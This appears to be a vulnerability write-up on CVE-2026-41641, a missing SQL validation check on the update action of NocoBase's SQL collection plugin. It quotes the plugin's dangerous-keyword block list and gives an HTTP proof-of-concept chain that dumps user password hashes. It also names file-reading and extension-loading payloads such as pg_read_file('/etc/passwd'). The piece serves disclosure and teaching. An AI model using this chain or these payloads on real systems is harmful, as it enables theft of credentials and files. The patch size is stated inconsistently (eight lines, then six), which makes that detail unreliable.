CVE-2026-41641 was published by GitHub on April 18, 2026. NocoBase shipped 2.0.39 the same week. The patch is eight lines added to packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts. The lines wrap one function call, checkSQL(sql), in a try/catch and place it inside the update action handler. The same file already imports checkSQL at the top. The same file already calls it from the execute action eight lines above. The author of the April 17 patch is also the author of the December 19, 2024 commit that introduced checkSQL, applied it to execute, and shipped without applying it to update. Sixteen months and one CVE separate those two commits.
CVE-2026-41641: NocoBase's checkSQL Gated Two of Three SQL Actions. The Third One Persists.
pattern
cve
proof of concept
The plugin has three actions. checkSQL guards two of them.
NocoBase is an AI-powered no-code/low-code platform. The SQL collection plugin lets users with collection-management permissions register named "collections" whose contents are defined by an arbitrary SQL query. The query runs every time the collection is read. The plugin exposes three actions to the HTTP surface that accept caller-supplied SQL:
collections:create, used by the "create a new SQL collection" form. SQL is provided in the request body.sqlCollection:execute, used by the "preview the result" button. The SQL is executed immediately and the first five rows are returned to the caller.sqlCollection:update, used by the "edit this collection" form. The SQL on an existing collection is replaced with a new value.
checkSQL is the validation function. It lives in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts. It does two things:
export const checkSQL = (sql: string) => {
const dangerKeywords = [
// PostgreSQL
'pg_read_file', 'pg_read_binary_file', 'pg_stat_file', 'pg_ls_dir',
'pg_logdir_ls', 'pg_terminate_backend', 'pg_cancel_backend',
'current_setting', 'set_config', 'pg_reload_conf', 'pg_sleep',
'generate_series',
// MySQL
'LOAD_FILE', 'BENCHMARK', '@@global.', '@@session.',
// SQLite
'sqlite3_load_extension', 'load_extension',
];
sql = sql.trim().split(';').shift();
if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
throw new Error('Only supports SELECT statements or WITH clauses');
}
if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
throw new Error('SQL statements contain dangerous keywords');
}
};The function refuses anything that is not SELECT or WITH ... SELECT, and it blocks eighteen specific keywords across PostgreSQL, MySQL, and SQLite. The PostgreSQL list includes pg_read_file and pg_sleep. The MySQL list includes LOAD_FILE and BENCHMARK. The SQLite list includes load_extension. These are the primitives that turn a SELECT into filesystem access, side-channel timing, and library injection. The list is the threat model the maintainers wrote down.
In PR #5913 on December 19, 2024, the maintainer 2013xile introduced utils.ts containing checkSQL, then wired the function into two of the three callers in the same diff:
collections:creategot guarded by a middleware registered inplugin.ts. Everycollections.createrequest flowed through the middleware; the middleware calledcheckSQLon thesqlparameter before reaching the action handler.sqlCollection:executegot guarded inline in the action handler insql.ts. The handler importedcheckSQLat the top of the file and called it as the first thing inside theexecutefunction body.
The sqlCollection:update action in sql.ts was modified by nobody in PR #5913. The handler sat in the same file as execute. The import was already at the top. The function was already available in the lexical scope.
// packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts
// pre-patch (v2.0.38)
import { Context, Next } from '@nocobase/actions';
import { SQLCollection, SQLModel } from '../sql-collection';
import { checkSQL } from '../utils';
// ... updateCollection helper ...
export default {
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try {
checkSQL(sql); // the gate
} catch (e) {
ctx.throw(400, ctx.t(e.message));
}
// ... build a temporary SQLCollection, query 5 rows, return
},
setFields: async (ctx: Context, next: Next) => {
// ... transaction, no checkSQL
},
update: async (ctx: Context, next: Next) => {
// ... ctx.action.params.values destructured into { sql, ... }
// ... NO checkSQL call
// ... updateCollection(ctx, transaction)
// ... resetFields, commit, return
},
};The update handler accepts the same sql parameter, on the same request shape, from the same caller class as execute. It does not call checkSQL. It calls updateCollection, which writes the SQL into the collection's options.sql field and persists the row.
The persister is the executor, deferred.
The mental model that produces this gap is "execute is dangerous, update is CRUD." execute runs SQL now and returns rows now; update mutates a row in the collections registry. One looks like a database operation. The other looks like a state change.
The SQL collection plugin is built so that sqlCollection:update's output is a database operation. The collection's stored SQL is the query that runs every time anyone calls :list on the collection's resource name. Persisting the SQL is executing it, on a delay set by the next read.
The PoC walks the chain. Step one signs in as any user with collection-management permissions.
POST /api/auth:signIn HTTP/1.1
Host: target
Content-Type: application/json
{"account":"<user>","password":"<pass>"}HTTP/1.1 200 OK
Content-Type: application/json
{"token":"<jwt>"}Step two creates a SQL collection with benign SQL. The middleware on collections.create calls checkSQL against "SELECT 1 as id". The string starts with SELECT, contains no dangerous keywords, and passes.
POST /api/collections:create HTTP/1.1
Host: target
Authorization: Bearer <jwt>
Content-Type: application/json
{"name":"x","sql":"SELECT 1 as id","fields":[{"name":"id","type":"integer"}],"template":"sql"}Step three updates the collection via sqlCollection:update. The action handler reads sql from ctx.action.params.values, hands it to updateCollection, and persists the row. No checkSQL runs at any point in this request's life cycle.
POST /api/sqlCollection:update?filterByTk=x HTTP/1.1
Host: target
Authorization: Bearer <jwt>
Content-Type: application/json
{"sql":"SELECT * FROM users",
"fields":[{"name":"id","type":"integer"},
{"name":"email","type":"string"},
{"name":"password","type":"string"}]}Step four reads the collection. NocoBase looks up the resource named x, finds a SQL collection, executes the stored SQL against the host database, and returns the rows.
GET /api/x:list HTTP/1.1
Host: target
Authorization: Bearer <jwt>HTTP/1.1 200 OK
Content-Type: application/json
{"data":[{"id":1,"email":"...","password":"$2b$10$..."}, ...]}The PoC's update payload is SELECT * FROM users. That SQL would have passed checkSQL had the function been called: it starts with SELECT, it contains no entry from the eighteen-keyword list. The point of the PoC is not that the SELECT is dangerous. The point is that no call to checkSQL ran on the way in. Replace the payload with SELECT pg_read_file('/etc/passwd', 0, 100000, false) against a Postgres-backed deployment, or SELECT LOAD_FILE('/etc/shadow') against MySQL, or SELECT load_extension('/tmp/x.so') against SQLite, and the same chain exfiltrates files, blocks worker threads with pg_sleep, or loads a shared object the database process did not intend to load. The dangerKeywords list names exactly those primitives. sqlCollection:update is the action the same list never gets shown to.
The chain requires authentication and "collection management" permissions. NocoBase is a no-code platform whose value proposition is that non-developer team members can build their own internal apps. Collection management is exactly the permission a small organization delegates to its business analysts, its operations team, its first non-engineering hire who is fluent in spreadsheets. CVSS PR:H reads "high privileges required" because the bug is post-authentication. In a deployed NocoBase it reads "anyone the platform exists to empower."
Parallel implementation gap.
This is a parallel implementation gap, the same shape that has appeared in Astro's two /_image endpoints, MLflow's basic-auth and FastAPI router tables, mcp-atlassian's download and upload sites, Axios's buffered and streaming branches, and JeecgBoot's login and mLogin sibling methods. Each exhibit is a security check that lives in a shared utility, gets wired to one caller, and never reaches a parallel caller that exposes the same client-facing contract.
The exhibits vary in the distance between callers. Astro's two /_image endpoints sit in different packages. MLflow's gate fails to copy across two runtimes that mount in the same factory. Axios's maxContentLength rides inside the buffered branch of a if (stream) ... else ... fork in one function. JeecgBoot's mLogin is a sibling method on the same Java controller class.
NocoBase's variant is the smallest distance any exhibit in this pattern has shown. execute and update are exported keys of the same object literal in the same file. The file imports checkSQL once at the top. The execute handler's first statement is checkSQL(sql). The update handler, the next exported key in the same object literal, accepts the same sql parameter and validated nothing. checkSQL is in scope for the entire file. The author of PR #5913 typed import { checkSQL } from '../utils' and called it inside the function defined immediately below. The function defined immediately below that one did not get the call.
The April 17, 2026 fix is six lines.
update: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
+ if (sql) {
+ try {
+ checkSQL(sql);
+ } catch (e) {
+ ctx.throw(400, ctx.t(e.message));
+ }
+ }
// ... updateCollection, transaction, return
},The same six lines live in execute directly above. The commit message reads fix(collection-sql): validate sql on update. The commit hash is 851aee5. The author is 2013xile. PR #5913 from December 19, 2024 also lists 2013xile as author. Both commits are signed by the same GitHub identity.
The charge.
NocoBase Co., Ltd. ships a no-code platform whose SQL collection plugin gives ordinary platform users the ability to register stored SELECT queries against the host database. The plugin's maintainers wrote a security control with an explicit threat model on December 19, 2024: a function named checkSQL, an enumerated list of eighteen dangerous primitives across three database engines, a commit message reading fix(sql-collection): block dangerous keywords. They wired the control into two of the three actions in the plugin that accept user-supplied SQL. The third action persists the SQL into the collections registry, where every subsequent :list against the collection's resource name executes it.
The threat model existed in the codebase for sixteen months. The action it never reached existed in the same file for sixteen months. The same import line carried the same function into the same file's lexical scope for sixteen months. The April 17, 2026 patch is what the December 19, 2024 patch should have been on day one.
The maintainer who closed the gate on execute did so on December 19, 2024. The maintainer who closed the gate on update did so on April 17, 2026. They are the same person.